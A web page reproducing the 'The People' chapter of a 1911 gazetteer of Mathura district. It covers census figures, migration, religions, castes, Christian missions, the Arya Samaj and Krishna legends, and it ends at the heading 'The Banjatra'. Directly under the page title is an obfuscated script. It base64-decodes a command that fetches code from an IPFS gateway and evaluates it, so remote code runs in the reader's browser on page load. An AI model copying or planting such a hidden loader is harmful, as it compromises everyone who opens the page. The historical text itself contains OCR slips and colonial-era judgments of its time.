Mathura A Gazetteer-3

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<sidebar> सुस्वागतम् mainpage|मुखपृष्ठ ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल विशेष:Contact|संपर्क समस्त श्रेणियाँ|समस्त श्रेणियाँ SEARCH LANGUAGES __NORICHEDITOR__ Mathura A Gazetteer Mathura A Gazetteer-1|General Features Mathura A Gazetteer-2|Agriculture And Commerce Mathura A Gazetteer-3|The People Mathura A Gazetteer-4|Administration And Revenue Mathura A Gazetteer-5|History. Mathura A Gazetteer-6|Directory </sidebar>

General Features Agriculture And Commerce The People Administration And Revenue History Directory of Places - A . B . C . D . E . F . G . H . J . K . M . N . O . P . R . S . T . U . W

MATHURA A GAZETTEER,
edited and compiled by, D.L. DRAKE-BROCKMAN [1911]

THE PEOPLE

EARLY ENUMERATIONS

Owing to the interchange of villages between Muttra and the neighbouring districts, any even approximately accurate statement of the population for the earliest periods is im­possible. Moreover in 1874 the Jalesar pargana was trans­ferred to Etah and 84 villages of pargana Farah were received in 1878 in compensation from Agra. As, however, Jalesar has ceased bodily to form a portion of the district, it is possible by excluding it to obtain from the earlier censuses an appro­ximate idea of the changes in the population for all but 84 villages in the district; and as the Farah portion differs little in characteristics from the rest of the Muttra tahsil, the enumerations may be accepted as representative of the whole. The first census taken in Muttra was that of 1848: but it was in reality little more than an estimate. The total population returned amounted to 583,705 persons. The results were generally discredited, and their unreliability was proved six years later when a far more accurate enumeration was made. The population in 1853 was 718,512 persons, the density being 542 persons to the square mile on a total area of 1,326.5 square miles. This was an increase of 134,807 persons or over 23 per cent. on the figures of 1848. The rate ranged from 1,424 persons to the square mile in the Sadr tahsil to 391 in the pargana of Sahar, now represented by south-western Chhata. The next census was taken in 1865, details as to castes, occupations, and other important matters being for the first time recorded. During the interval since 1853 the district had passed through the Mutiny, suffered from two severe epidemics of cholera and small-pox, and the famine of 1861. The returns showed a total of 667,847 souls, the decrease in the twelve years being 50,665 or 7 per cent: The density had fallen to 504 persons per square mile. The next enumeration was that of 1872. The district, still excluding Jalesar and the Farah villages, was found to contain 729,580 inhabitants, the resultant density on an area of 1,325 square miles being 551 persons to the square mile. If now the population and area of the Farah villages be added, the total area amounts to 1,408 square miles and the population to 782,460 persons or 556 persons to the square mile. From this point onwards comparisons for the whole district as now constituted can be made.

CENSUS OF 1881

By the time of the next enumeration in 1881, the number of inhabitants was found to have decreased by no less than 110,770. The population was returned at 671,690 persons and the area by the survey at 1,452.7 square miles. The density was thus 462 persons per square mile. The most thickly populated pargana was that of Muttra with 591 persons to the square mile, but the figure was swollen by the inclusion of the city population. Next came the fertile pargana of Sadabad with 493 and lowest in the scale was Chhata with only 370 persons to the square mile. The decrease may be attributed principally to the famine of 1878. This famine caused extensive migration. Severe epidemics of fever too prevailed after it and raised the rate of mortality to an abnormal figure. All tahsils lost heavily in population.

CENSUS OF 1891

During the following decade there was continuous progress and prosperity. By 1891 the population had increased to 713,421 souls, and the density to 490 persons to the square mile. On this occasion the increase was common to Muttra, southern Chhata, Mahaban and Sadabad; but Kosi or northern Chhata and Mat lost over 5,000 inhabitants each. The relative position of the tahsils, however, had not changed. Muttra was still the best populated pargana, the density being 593 persons to the square mile. Chhata tahsil came last and had only 370 persons to the square mile.If the city population be excluded from the returns, the density is only 439 persons to the square mile.

CENSUS OF 1901

The last census was taken in 1901 and it was then ascertained that the increase of population had been maintained and at an even higher rate than between 1881 and 1891. This is all the more remarkable because there had been famines in 1897 and 1900. The total number of inhabitants was returned at 763,099 persons. The average density was 524 persons to the square mile, or 482.4 if the city population be excluded. Every tahsil had shared in the rise, but the increase was most noticeable in Chhata and Muttra and was ascribed principally to immigration. This immigration had been encouraged by the extension of canal irrigation. The density was highest in Muttra tahsil, where it amounted to 623 persons to the square mile. Next in order came Sadabad with 605, Mahaban with 569 and Mat with 437 persons to the square mile. The least densely populated tahsil was Chhata, the number of persons to the square mile being only 428. The urban population living within the municipalities and Act XX towns numbered 142,655 souls or 18.7 per cent of the whole.

TOWN AND VILLAGES

In 1853 there were ten places possessing over 5,000 inhabitants, namely Muttra, Brindaban, Kosi, Mahaban, Gobar­dhan, Chhata, Shergarh, Kursanda, Ramgarh and Bisawar; but the population of the last three appears to have been swollen by the inclusion of that of many outlying hamlets. In 1872, however, Ramgarh was no longer on the list, and the number was reduced to nine. Moreover the place of Gobardhan had been taken by Surir. In 1881 the district contained 856 towns and villages, of which 698 contained less than 1,000 persons, while 101 others had less than 2,000 and 50 less than 5,000 inhabitants apiece. The remainder comprised Muttra, Brindaban and Kosi, which were then as now municipalities, and Chhata, Surir, Mahaban and Kursanda. Ten years later there were 850 towns and villages in Muttra, of which 674 had populations of less than 1,000, while 113 others had less than 2,000 and 54 between 2,000 and 5,000. The towns with over five thousand inhabitants included, besides those existing in 1891, Gobardhan and Shergarh. At the last census the total had increased by one: 654 villages contained under 1,000 persons, 122 others under 2,000, and 65 under 5,000. There remain ten and these were the three municipal towns and the Sadr bazar at Muttra, Gobardhan in tahsil Muttra, Surir in tahsil Mat, Mahaban, and Kursanda and Bisawar in Sadabad. The largest number of villages with over 500 inhabitants is to be found in the Muttra and Chhata tahsils, and after them comes Mahaban. In most parts, of the district the villages resemble those to be seen thoughout the west of the United Provinces. They generally consist of a single compact site, which when viewed from without is a mud-walled enclosure pierced by a few openings. The houses within are simi­lar mud-walled enclosures: inside is a small courtyard surrounded by low rooms or thatched sheds. In western Muttra, however, the sites are generally perched on hillocks. They have thus a fort-like appearance. They were constructed in this form, as has already been noted, in the days when the country was harried by Jat and Maratha marauders. In some of the older established towns such as Gobardhan, Barsana, Mahaban and Gokul, substantial edifices of masonry or stone are to be seen and these cities have an air of comfort and wealth. In Muttra city the houses are for the most part built of brick or stone. The general design common to all modern buildings is a front of carved stone with a grand central archway and arcaves on both sides; the latter are let out as shops on the ground floor. Storey upon storey above are projecting balconies supported on quaint corbels, the arches being filled in with minute reticulated tracery of an infinite variety of pattern and protected from the weather by broad eaves. Owing to the free use of stone both the buildings and the streets in Muttra city have an unusually tidy appearance, which is only marred by the many unsightly screens which are erected in front of the shops.

MIGRATION

The population is more affected by migration than that of any other district in the province, Dehra Dun and Naini Tal alone excepted. Nor is the fact surprising considering the close proximity of Rajputana. At the last census only 83.42 per cent. of the people enumerated in Muttra were born in the district, while 13.44 per cent. came from adjacent tracts, and 3.12 per cent. from other parts of India. The proportion of immigrants was thus 16.6 per cent. and the majority of these were women. This addition to the population, however, was practically all counteracted by emigration; for of all the persons who in 1901 gave Muttra as their birthplace 83.72 were enumerated in the district, 9.97 were found in other districts of the United Provinces and 6.31 per cent. in other parts of India. The total proportion of emigrants was thus 16.28 per cent. Resides the emigrants within India a certain number of natives of Muttra go further afield every year in search of labour, being recruited by agencies for British Guiana, Jamaica, Fiji and elsewhere. As regards internal migration there are no figures to form a basis for exact conclusions; but it is a well-known fact that during the decade from 1891 to 1901 a considerable number of persons left their homes in the trans-Jumna tahsils for those portions of the district which were protected by canal irrigation. Since the year of the census, however, the Mat branch extension of the canal has been opened and there will be no inducement for the people to migrate as they did before.

SEX

In 1853 the proportion of females to every hundred males was 86.2, and since that time there has been practically no increase. In 1865 it decreased to 84.1. In 1872 the proportion recorded was 85.2; in 1881 it rose to 86.1; in 1891 to 86.4; and in 1901 to 86.6. The proportion, however, is the highest in the Agra division, and differs little from that obtaining generally in the western portion of the province. The deficiency of females to males is more marked among the Hindus than among the Musalmans. This has been noted in many other districts; but none of the theories so far advanced, such as female infanticide or emigration, are entirely sufficient to account for the difference. The disproportion is found equally among nearly all the Hindu castes in the district, from the lowest to the highest: Kayasths are the only important caste in which females exceed males. In the city, where, however, the figures are to some extent affected by the influx of persons coming to be married in it, there appear to have been some curious fluctuations. In 1872 there were 92.6 females to every hundred males. This proportion declined to 91.1 in 1881 and to 83.8 in 1891, but rose at the last census to 87.2. The last figure is slightly in excess of the district average.

RELIGION

Of the total population recorded at the last census 680,096, or 89.12 per cent. were Hindus, 77,087 or 10.10 per cent. Musal­mans, 2,512 Jains, 2,262 Christians, 1,018 Aryas, 105 Sikhs, 16 Parsis and 3 Brahmo Samajists. The proportion of Hindus is larger than in the majority of the districts in the west of the province or the Agra division; but it falls short both of Etawah and Mainpuri. It is not as high as might be expected from the purely Hindu character of the district, the place Muttra holds in popular Hindu estimation or the vigour of its religious life. Moreover the Hindu population appears to have steadily dimi­nished since 1881; for in that year it exceeded 91 per cent. and in 1891 it was 90.60 per cent. On the other hand Musalmans have shown a decided increase. The proportion borne by members of this creed to the total was 8.65 per cent. in 1881 and fell to 7.78 in 1891. Even its present figure, however, is lower than in other district in the division except Mainpuri and Etawah. The same phenomenon has been observed in almost all parts of the provinces and is ascribed to the greater longevity and fertility of the Musalman population, and to the fact they do not form so large a portion of the very poor as the Hindu community.

MUSALMANS

Of the whole Musalman population at the last census 68,580 or 88.9 per cent. were returned as Sunnis. This is considerably lower than the provincial average, and is in part accounted for by the number of Lalbegis, of whom there were 7,311. Lalbegis are more numerous only in Agra and Meerut. They are sweepers who, in spite of their profession of the faith of Islam, still preserve the cult of their special deities: they derive their name from Lal Beg, round whom a whole cycle of legends centres. Of the rest 1,024 were Shies, 31 followers of the Saints, 9 Ahmadias and 6 Wahabis; while in the case of 126 persons no sect was specified. The returns of the last census showed that there were representatives of 37 different sub-divisions in the district, while in the case of 227 persons no subdivision was specified. Only one of these had over 10,000 members, namely the Sheikhs, making up 17.13 per cent. of the Musalman population. Five others occurred in numbers exceeding 5,000, and five more amounted to over 2,000 in each case. Very few of them are of any interest or importance; most have their Hindu counterparts and none are found in unusual numbers. It is, however, curious to note that in every instance the Musalman castes are far more numerous to the west of the Jumna than to the east.

SHEIKHS

First on the list come Sheikhs with 13,204 representa­tives, over half of whom are in the Muttra tahsil. The majority of these reside within municipal limits, while elsewhere they are most numerous in the towns of Chhata, Shergarh and Kosi, or in tahsil Mahaban. They belong to many subdivisions, but over half of the total are Qurreshis and one-seventh Siddiqis.

RAJPUTS

Musalman Rajputs follow Sheikhs with 8,885 members. They are found for the most part in Muttra, Chhata and Mahaban; but they are also numerous in Sadabad. They belong chiefly to the Bhale Sultan and Chauhan clans. The Bhale Sultans are more numerous, according to the census of 1901, in Muttra than in any district of the province except Sultanpur. In the province of Agra their largest settlement is in Bulandshahr. Those in that district claim descent, according to one story, from Siddh Rai Jai Singh, the Solankhi chief of Anhulwara Patan in Gujerat. After the defeat of Prithviraj, Sawai Singh, the ancestor of the family, obtained the title of Bhale Sultan, or "Lord of the Lance", from Shahab-ud-din Ghori. Another story is that they are descended from Sarang Dee, a nephew of the Raja of Gujerat, who took service under Prithviraj and perished in the war against Kanauj, when his descendant was rewarded with the lands in Bulandshahr. It was his grandson, Hamir Singh, who took service with the Raja of Kanauj, and obtained through him and Shahab-­ud-din the title of Bhale Sultan. The seventh in descent from him, Kirat Singh, distinguished himself in the campaign of Ghias-ud-din against the Meos, and obtained their lands as a reward; while Khan Chand, the seventh in descent from Kirat Singh, turned Musalman to please the Muhammadan governor under Khizr Khan. The Musalman Rajputs of Sadabad are mainly Malkanas. Originally they were mostly Jats and Gaurua Rajputs who were converted to Islam by the sword; but they retain many Hindu Customs and are known by Hindu names.

PATHANS

Pathans amounted 6,701 persons. They reside for the most part in Muttra and Chhata tahsils; and belong chiefly to the Ghori, Yusufzai and Lodi clans. But members of several other clans are found, such as the Bangash, Rohilla and Afridi.

SAIYIDS AND MUGHALS

Saiyids numbered 2,121 souls, and Mughals only 614, neither being in any sense important.

OTHER MUSALMANS

The other Musalman castes call for no special mention. The numerically strongest are Bhangis, 6,758; Qassabs, 6,542, half of whom belong to tahsil Chhata; Bhishtis,5,128; Faqirs, 4,867; Telis, 4,130, for the most part in Sadabad;Meos or Mewatis,3,813,two-thirds in Chhata; and Julahas,2,375, nearly half of whom are in Mahaban. After them come Dhobis, Nais and Darzis with numbers exceeding one thousand. None of the reminder are of any importance.

JAINS

The Jains are not a large community in the district, though their number exceeds that of most other districts in the province. They are usually known as Saraogis, and are almost exclusively recruited from the Bania caste. A few belong to the Agarwala subdivision, but the majority are of the Khandel gachcha or got. They are making no progress in the district, for in this centre of orthodoxy the “naked gods " are held in unaffected horror by the mass of the Hindu population. The temples of the sect are few and far between, and the Jains themselves are usually to be found in the neighbourhood of the large trading marts. It is not surprising therefore that the largest number reside in tahsil Chhata, particularly in or around Kosi, which possesses a Jain temple. Next to Chhata comes Sadabad, where they are concentrated for the most part in Sahpau; after that comes Mut­tra. In the city the creed of Jainism gained some prominence from its profession by the late Seth Raghunath Das, who owns the principal Jain temple in muhalla Kesopur. It is said that Jambu Swami here practised penance and that his name is record­ed in an old and almost effaced inscription on a stone slab that is still preserved under the altar. He is reputed to be the last of the Kewatis, or divinely inspired teachers, being the pupil of Sudharma, who was the only surviving disciple of Mahavira, the great apostle of the Digambara, as Paras Nath was of the Svi­tambara, sect. The temple was built by Mani Ram, who enshrined in it a figure of Chandra Prabhu, the second of the Tirthankaras. Some sixty years ago, however, Seth Raghanath Das brought from a ruined temple at Gwalior a large marble statue of Ajita Nath, which now occupies the place of honour, The site, as well as the temple, is popularly known by the name of Chaurasi; and an annual fair is held here lasting for a week from Kartik 5th to the 12th (October-November). This fair was instituted in 1870 by Nain Sukh, a Saraogi of Bharatpur. There are two other Jain temples in the city. They are both dedicated to Padma Prabhu; one is in the Ghiya mandi, and the other in the Chaube's quarter.

CHRISTIANITY

According to the returns of the last census the Christian population comprised 2,031 natives of India, 222 Europeans and nine Eurasians. It may be noted that on the date when the enumeration of 1901 was made, all but the dept of the cavalry regiment in the cantonments was away on active service. The district contains several missions, and to these must be attributed the remarkable increase in the number of converts; for in 1881 not more than 57, and in 1891 only 173 natives professed this religion. Of the native Christian population 1,858 belonged to theMethodist Church, 85 to the Anglican Communion, 47 were Roman Catholics, 15 Baptists and 8 Presbyterians, the denomina­tion of the remainder not being specified. The great majority of Christians were enumerated in the Muttra tahsil; but 582 were found in Mahaban and 382 in Sadabad, the smallest number being in Chhata tahsil.

BAPTIST MISSION

The earliest mission in the district was that of the London Baptist Missionary Society, whose connection with Muttra dates back to very early in the last century. The Agra missionaries of the society visited the place very soon after the establishment of their mission in that city in 1811; but the first official notice of Muttra is found in the society's report for 1826. From this it appears that Muttra was made a separate station in February 1825 under Mr. R. Richards, who was deputed there from Fatehgarh. In 1828, however, Mr. Richards returned to the communion of the Episcopal Church; and the native preacher who assisted him, by name Ram Das, was sent to Benares. Muttra was again treated as an outstation of Agra for the next fourteen years. In September 1843 another missionary, the Revd. J. Phillips, left Agra and took up his residence at Muttra; here he built a small chapel and baptised, two months later, his first convert. Both the house and chapel of the mission were destroyed in the Mutiny; and work was restarted in 1858 by Mr. Evans. For some years a determined attempt was made by the inhabitants of the city to obstruct the mission­aries, firstly by contesting in the law courts their title to the land on which their church was situated, and secondly by systematically hindering preaching in the city. The law suit, however, was unsuccessful, and the opposition to preaching after some years died down. In 1882 a suggestion was put forward is the London committee of the society to abandon the station on account of the scarcity of workers. This was not carried out entirely, though the staff was withdrawn and the place was only occasionally visited by the Agra missionaries until 1893. In that year the Revd. R. McIntosh took charge of the station and built the present mission house on the site of the bungalow destroyed by the rebels in 1857. The only part of the original buildings that remains is the baptistry of the old chapel, which is still in use. The Baptist Mission has two outstations and schools at Chhata and Kosi; and some medical mission work is also carried on in the city and district.

CHURCH MISSIONARY SOCIETY

The mission of the Church Missionary Society was started by the Revd. H. W. Shackell of Agra about 1860, though occasional visits had been paid to Muttra for nearly 20 years previously. From its inception the mission at Muttra was always treated as an outstation either of the Agra or Aligarh mission; but in 1882 the committee, being desirous of taking up the work of evangeliza­tion more vigorously, raised Muttra to the position of an independent mission station and placed the Revd. P. M. Zenker in charge. The society possessed at the time only a limited plot of ground in the cantonments, not far from the English and Roman Catholic churches, and on this ground a small bungalow was built which still serves the purposes of both chapel and school. In 1891 two ladies were sent out to carry on work among the women of the city; and in 1899 the two mission bungalows, lying in the civil lines, were purchased from Seth Lachhman Das, C.I.E. The mission has two outstations, and several schools, both for boys and girls, at Muttra and Brindaban.

METHODIST EPISCOPAL CHURCH MISSION

The Methodist Episcopal Church Mission commenced opera­tions in the city of Muttra in 1887, by appointing an ordained native catechist under the superintendence of the Revd. Rockwell Clancy, then missionary in charge at Agra. In January of the following year the Muttra circuit was formed, embracing the towns of Muttra, Brindaban, Hathras and Sikandra Rao, and the Revd. J. E. Scott was appointed to its charge. Both evange­lical and educational work was at once commenced, and during the year 13 secular and 17 Sunday schools were organised. An eligible site near the city was secured, and a mission house was erected thereon. In 1889 a deaconess home and a training school for assistants and Bible readers were opened, the necessary buildings being purchased with funds provided by Mr. W. E. Blackstone of Chicago. Medical work was started at Muttra in the same year, and in Brindaban in 1897. In the city there are two boarding schools for Christian boys and girls, and at Brindaban a mission house and a dispensary, all the buildings, including the hostels, having been provided by private donors. The school for boys, to which non-Christians as well as Christians are admitted, is held in the Flora hall in the heart of the city, and the instruction given is up to the middle standard. Evangelistic work has always been carried on from many centres. The mission has a soldier's chapel and coffee-shop in the canton­ments, and the Revd. Dr. Scott is acting chaplain to the Noncon­formist troops in the station.

OTHER DENOMINACTION

There is an Anglican church in cantonments, which was consecrated by Bishop Dealtry in December 1856: it has a tall Italian campanile, which forms a land-mark for some miles round. The adjoining compound was for many years occupied by a mean and dilapidated shed, dedicated to St. Francis, which served as a Catholic chapel. This was taken down in January 1874, and on the site was laid the first stone of the present building, which is known as the Church of the Sacred Heart. The church owes everything to the late Mr. F. S. Growse, former collector of the district, and is a mixture of Gothic and Oriental architecture. The building was never completed owing to Mr. Growse's transfer from the district. The chief points lacking are the upper portions of the two stone stair turrets on the western facade.

ARYA SAMAJ

The description of the Arya Samaj movement in the district should perhaps find a place after rather than before one of the religion, from which it may legitimately be held to have sprung: but its dissociation from Hinduism as known at Muttra is complete enough to justify its treatment as a distinct creed: and it will be more convenient, before dealing with the Hindus, to give some account of its position and progress in the district. The founder of the Arya Samaj was a Brahman of Kathiawar, born in 1827, who, after his initiation as a Sannyasi, was known as Swami Dayanand Saraswati. At the age of 21 he ran away from home and devoted himself to the study of religion and the pursuit of true knowledge: he was much attracted by the practice of yoga, studied it with great ardour, and claimed to have been initiated into the highest secrets of yoga vidya. In 1860 he visited Muttra and studied with Virjananda, from whom he appears to have imbibed his contempt for the later Sanskrit philosophy. About 1863 he commenced missionary work; and during the next 20 years continued preaching and disputing in various parts of India, till be died in 1883 at Ajmer. Muttra may thus be looked upon practically as the cradle of the Arya Samaj; but of its principal beliefs, its ritual, or its social aims it is not necessary here to speak. The disciples of the movement have rapidly increased in most districts of the province since Swami Dayanand lectured and taught, and in this increase the district of Muttra has shared, though in a less degree than many others. In 1891 only 209 adherents of its tenets were recorded in the district, but at the last enumeration in 1901 the number had risen to 1,018. A lodge was estab­lished in the city in January 1882: it then comprised some 50 members, who met every Sunday in muhalla Mandavi Ram Das with the object of propagating the Vedic religion. Three years later a hall was erected near the Hardinge gate, where the Sunday evening meetings were continued; but for many years little progress was made in the acceptance of the Society's teachings. Indeed, it is prima facie improbable that the move­ment will make rapid progress in a locality where the older forms of worship have so strong a hold on the populace; for its followers denounce idol worship and deny the spiritual virtue of bathing in the rivers, the latter the most important ceremony;onnected with the sacred city. But it is not in Muttra city that the bulk of the Arya Samajists are to be found; for 591 or considerably over one half of their total number exist in Mat tahsil-the result apparently of a vigorous propaganda which has spread thither from Aligarh. In Muttra tahsil there are 183 adherents of the sect, and in Mahaban 158; while 66 reside in Sadabad and only 20 in Chhata. These are drawn from many different castes, no fewer than 20 being represented at the time of the last census. Most of them are Jats, and of these there were 343; after Jats come Brahmans, 198; Banias 153; Rajputs 131; and Kayasths 75. Converts have not been recruited in numbers from any other caste, but it is noticeable that there are Aryas among the lowest castes, such as Chamars, Nais and Mallahs.

OTHER RELIGION

The Sikhs are mainly in Government service and are not natives of the district. Out of the whole number, 74 were found in the Muttra tahsil, while the rest were distributed over Chhata and Mahaban. Twelve out of the 16 Parsis in the district were in Chhata; they are immigrant traders and consequently live for the most part in Kosi, a town which has some connection with Bombay through its cotton trade. Lastly, the three members of the Brahmo Samaj were all residents of Muttra. We may now proceed to deal with Hinduism, the chief religion of the district, and with the Hindus who make up the vast majority of its inhabitants.

HINDUISM

It is a fact of peculiar significance that among the cities which to a Hindu are the holiest of the holy, there are three, namely Gaya, Benares and Muttra, which are equally sacred to the Buddhists. The inference is almost irresistible. The leaders of the movement which centuries ago resulted in the final and complete overthrow of Buddhism by Brahmanism, decided to yield to popular custom in appearance in order to make themselves undisputed masters in reality. Prohibiting pilgrimage to the three cities might have aroused dangerous opposition; hence they sagaciously made the sanctuaries of their foes the places whither the pilgrims of Brahmanic persuasion might resort in order to obtain particular blessings. Whilst, however, this applies to the three cities in general, there is one feature which applies exclusively to Muttra. The sacredness of neither Gaya nor Benares can be condensed into a single phrase; but with Muttra this is possible, for Muttra is the birthplace of Krishna, the hero of the last and most successful phase of Hinduism. A Hindu scholar, Mr. K. M. Banerji, writing on this subject says " The Brahmans saw on regaining their supremacy after the fall of the rival (i.e., Buddhist) school, that it would be impossible to enlist the popular sympathy in their favour without some concession to the shudras. They accordingly pitched on the well-known, and perhaps already deified, character of Krishna and set it up as an object of universal worship. And in order to make it the more fascinating to the popular mind and to give that mind a strong impulse in a direction the very opposite of Buddhism, they invested their new god with those infirmities of the flesh from which Sakya-muni is said to have been somewhat unnaturally free. The rude mind of the populace, devoid of education, is easily led in the direction of sensuality...." Thus Muttra became, through its tutelary deity, the " locale" whence originated that influence which has largely moulded Hinduism as it presents itself to our eyes to-day; and this fact manifests itself in the almost daily arrival and departure of hundreds of pilgrims from and to all parts of India, especially Marathis, Gujratis and Bengalis. As regards the last, there is a signifi­cant saying to the effect that"the wealth of Bengal is in Brindaban". Nor is it Muttra itself alone that is the centre of Hindu veneration; for, though one-third the size of Benares, it possesses two features which render its position quite unique in India. First, for miles and miles round it, every inch of the ground is holy; and secondly, at a distance varying from four to thirty miles it is surrounded by a circle of especially sacred localities. A popular saying asserts that Benares is good for one thing, namely, to die in; but Muttra is good for four, namely, to be born in, to live in, to marry in as well as to die in. Nearly every one of these places is intimately associated with Krishna, the tutelary deity of the place; and it is to the stories connected with his life and career that we must now turn.

KRISHNA

In the days when Rama was king of Ajodhya there stood on the banks of the Jumna a dense forest, once the stronghold of the terrible giant Madhu, who called it after his own name, Madhuban. On his death it passed into the hands of his son, Lavana, who in the pride of his superhuman strength sent an insolent challenge to Rama, provoking him to single combat. The godlike hero disdained the easy victory for himself, and sent his youngest brother, Satrughna, who vanquished and slew the oppressor, hewed down the wood in which he lived and on its site founded the city of Muttra. The family of Bhoja, a remote descendant of the great Jadu, the common father of all the Jadav race, occupied the throne for many generations. The last of the line was king Ugrasen. In his house was born Kansa who was nurtured by the king as his own son. As soon as he came to man's estate he deposed the aged monarch, seated himself on the throne and filled the city with carnage and bloodshed. Heaven was besieged with prayers for deliverance from such a monster: and a supernatural voice declared to Kansa that an avenger would be born in the person of the eighth son of his kinsman, Vasudeva. Now Vasudeva had married Devaki, a neice of king Ugrasen, and was living in retirement at the hill of Gobardhan. In the hope of defeating the prediction, Kansa immediately summoned them to Muttra, kept them closely watched; and, as each successive child was born, it was duly consigned to death. When Devaki became pregnant for the seventh time the embryo was miraculously transferred to the womb of Rohini, another wife of Vasudeva, living at Gokul; and the child thus preserved was first called Sankarshana, but afterwards became famous as Balaram. On the eighth of the dark half of Bhadon (August-September) in the following year, the day now devoutly celebrated as the Janam-Ashtami, Devaki was delivered of her eighth child, the immortal Krishna. Vasudeva took the babe in his arms, passed through the prison guards, who where miraculously charmed to sleep, and fled with his burden to the Jumna. It was then the season of the rains, and the river was pouring down a resistless flood of waters. He, however, fearlessly breasted the torrent, which at the first step rose as high as the foot of the slumbering child; but, marvellous to relate, the waters were stilled at the touch of the divine infant, and in a moment the wayfarer passed over and emerged in safety on the opposite shore. Here he met Nanda, the chief herdsman of Gokul, whose wife, Jasoda, at that very time had given birth to a daughter. Vasudeva dexterously exchanged the two infants, and returning placed the female child in the bed of Devaki. The tyrant Kansa, assured that this was the very child of fate, with his own hands dashed the unconscious infant to the ground: but what was his horror to see it rise resplendent in celestial beauty and ascend to heaven there to be adored as the great goddass Durga. Savage orders were next issued for the diligent search of every infant in the kingdom, in order that Devaki's child might perish among the number; but Vasudeva and Devaki were set at liberty, as nothing more was to be feared from them. The former hastened to see Nanda, and begged him to take Rohini's child back to Gokul and let the two children be brought up together. To this Nanda assented, and so it came to pass that the two brothers, Balaram and Krishna, spent the days of their childhood together at Gokul. Many are the stories told of the miraculous child during this period; how he drained of her life blood the witch Putana; how, infant though he was, he upset Jasoda's big cart full of milk pails; how he thwarted the demon Trinavart, who carried him off in a whirlwind; and how his childish frolics could not be stopped even by tying him with a cord to a heavy wooden mortar fixed between two immense arjun trees. Alarmed by these portents, Nanda resolved to remove his home elsewhere, and selected Brindaban as affording the best pasturage for his cattle. Here the boys lived until they were seven years old, frolicking about in the thickets on the opposite side of the river near Mat, and sporting with other herdsmen's children under the shade of the great bhandir tree. It was near here one day while they were grazing their cattle on the banks of the Jumna that the demon Bachhasur made an open onset upon them; that the serpent Aghasur swallowed Tosh and other playmates of Krishna, who caused the serpent's body to swell to such an extent that it burst; that the divine boy created children and cattle to take the place of those whom the jealous god Brahma had stolen; that he subdued and danced on the head of the savage dragon, Kaliya; that Balaram obtained his name of Rama the strong, by defeating the demon, Prelamba; and that Krishna stole the garments of the maidens of Braj, while they were bathing in the Jumna. Next Krishna persuaded the people of Braj to withhold their sacrifice in honour of Indra and to repair to Gobardhan, in order to worship the spirits of the hills. Arrived here he assumed himself the character of the mountain god, and accepted the adoration of the assembled crowd. Indra, thus defrauded of his sacrifice, called the clouds from every quarter of heaven and bade them descend upon Braj in one fearful torrent. But Krishna, undismayed, uprooted the mountain from its base, and balancing it on the tip of his finger, called all the people under its cover; here they remained for seven days and nights, while the rain beat harmlessly on the summit. Indra then descended to earth on his elephant Airavata, and saluted Krishna by the new titles of Upendra and Gobind, in token of adoration. "Beholding all the glorious deeds that he had performed, the maidens of Braj could not restrain their admiration. Drawn from their lonely homes by the low,sweet notes of his seductive pipe, they floated around him ins rapturous love, and through the moonlit autumn nights joined with him in the circling dance, passing from glade to glade in ever increasing ecstasy of devotion. Radha, fairest of the fair, reigned queen of the revels, and so languished in the heavenly delight of his embraces that all consciousness of earth and self was obliterated." Such is the description given of the celebrated amours of Krishna with the Gopis or milkmaids of Braj. It is the one incident on which modern Hindu writers love to lavish all the resources of their eloquence, and which appeals most strongly to the devout worshipper.

When Kansa heard of the marvellous acts performed by the two boys at Brindaban, he recognized the fatal avengers and trembled with fear. After pondering awhile what stratagem to adopt, he proclaimed a great tournay of arms, making sure that if the boys were invited and induced to enter the lists, they would inevitably be destroyed by his two champions, Chanur and Mush­tikha. Too impatient, however, to await their coming, he sent the demon Kesin, terror of the woods of Brindaban, to try his strength against them before they left their homes. Disguised as a wild horse the monster rushed amongst the herds; scattering them in all directions. Krishna alone stood calmly in his way and thrust his arms down his throat, so that he burst the huge body asunder. Soon after Akrur arrived with Kansa's invita­tion. This was at once accepted. On the way to Muttra they met the king's washerman with the king's apparel, tore open the bundles, decked themselves out in the clothes and entered the city like young princes. As they went along they met the hump-backed woman Kubja; and Krishna, as he passed, putting one foot on her feet and one hand under her chin, stretched out her body as straight as a dart. After seeing all the sights of the city they returned to Nanda; and on the morrow repaired to the arena. First they were confronted with the savage elephant Kuvalayapida; but Krishna, after sporting with it for a while at length dashed it to the ground. Then, each bearing one of its tusks, the two boys stepped into the ring and challenged all-comers. Chanur was matched against Krishna and Mushtika against Balaram: but the unequal contest was soon ended, for both the king's champions were thrown and rose no more. Then Kansa started from his throne and cried aloud to his guards to kill the two rash boys with their father, Vasudeva, and the old king Ugrasen. But Krishna with one bound sprang upon the dais, seized the cowering tyrant by the hair and hurled him down the giddy height into the ravine below. Then the two boys dragged the lifeless body to the banks of the Jumna, and there by the water's edge at last sat down to rest, whence the place is known to this day as the " Visraint ­ghat". Lastly king Ugrasen was reseated on his ancient throne, and Muttra once more knew peace and security.

Krishna and Balaram then underwent the ceremonies of caste initiation; and after a few days proceeded to Ujjain to pursue the prescribed course of study under the Kasya sage, Sandipani. Mean-while the widows of king Kansa had fled to Magadha, their native land, and implored their father, Jarasandha, to take up arms and avenge their lord. Scarcely had Krishna returned to Muttra than the assembled hosts prepared to invest the city. The gallant prince did not wait to be attacked; but accompanied by Balaram, sallied forth, routed the enemy and took Jarasandha prisoner. Pitying the utterness of his defeat, they allowed the captive king to return to his own country, where, unmoved by the generosity of his victors, he immediately began to raise a new army. Seventeen times did he renew the attack, only to be repulsed; till at last he called to his aid king Kalayavana, who with his barbarous hordes from the far west bore down upon the devoted city. That very night Krishna bade arise on the far distant shore of the Bay of Cutch the stately fort of Dwarka, and thither in a moment of time transferred the whole of his faithful people. He then returned alone to do battle with the invaders. The barbarian was put to flight and his army annihilated. But it was only by stratagem that Krishna and Balaram continued to secure themselves from the fury of the survivors. So Muttra fell into the hands of Jarasandha, who forthwith destroyed all the palaces and temples, and erected new buildings in their place as monuments of his own conquest. Henceforth the place knew Krishna no more.

THE BANJATRA

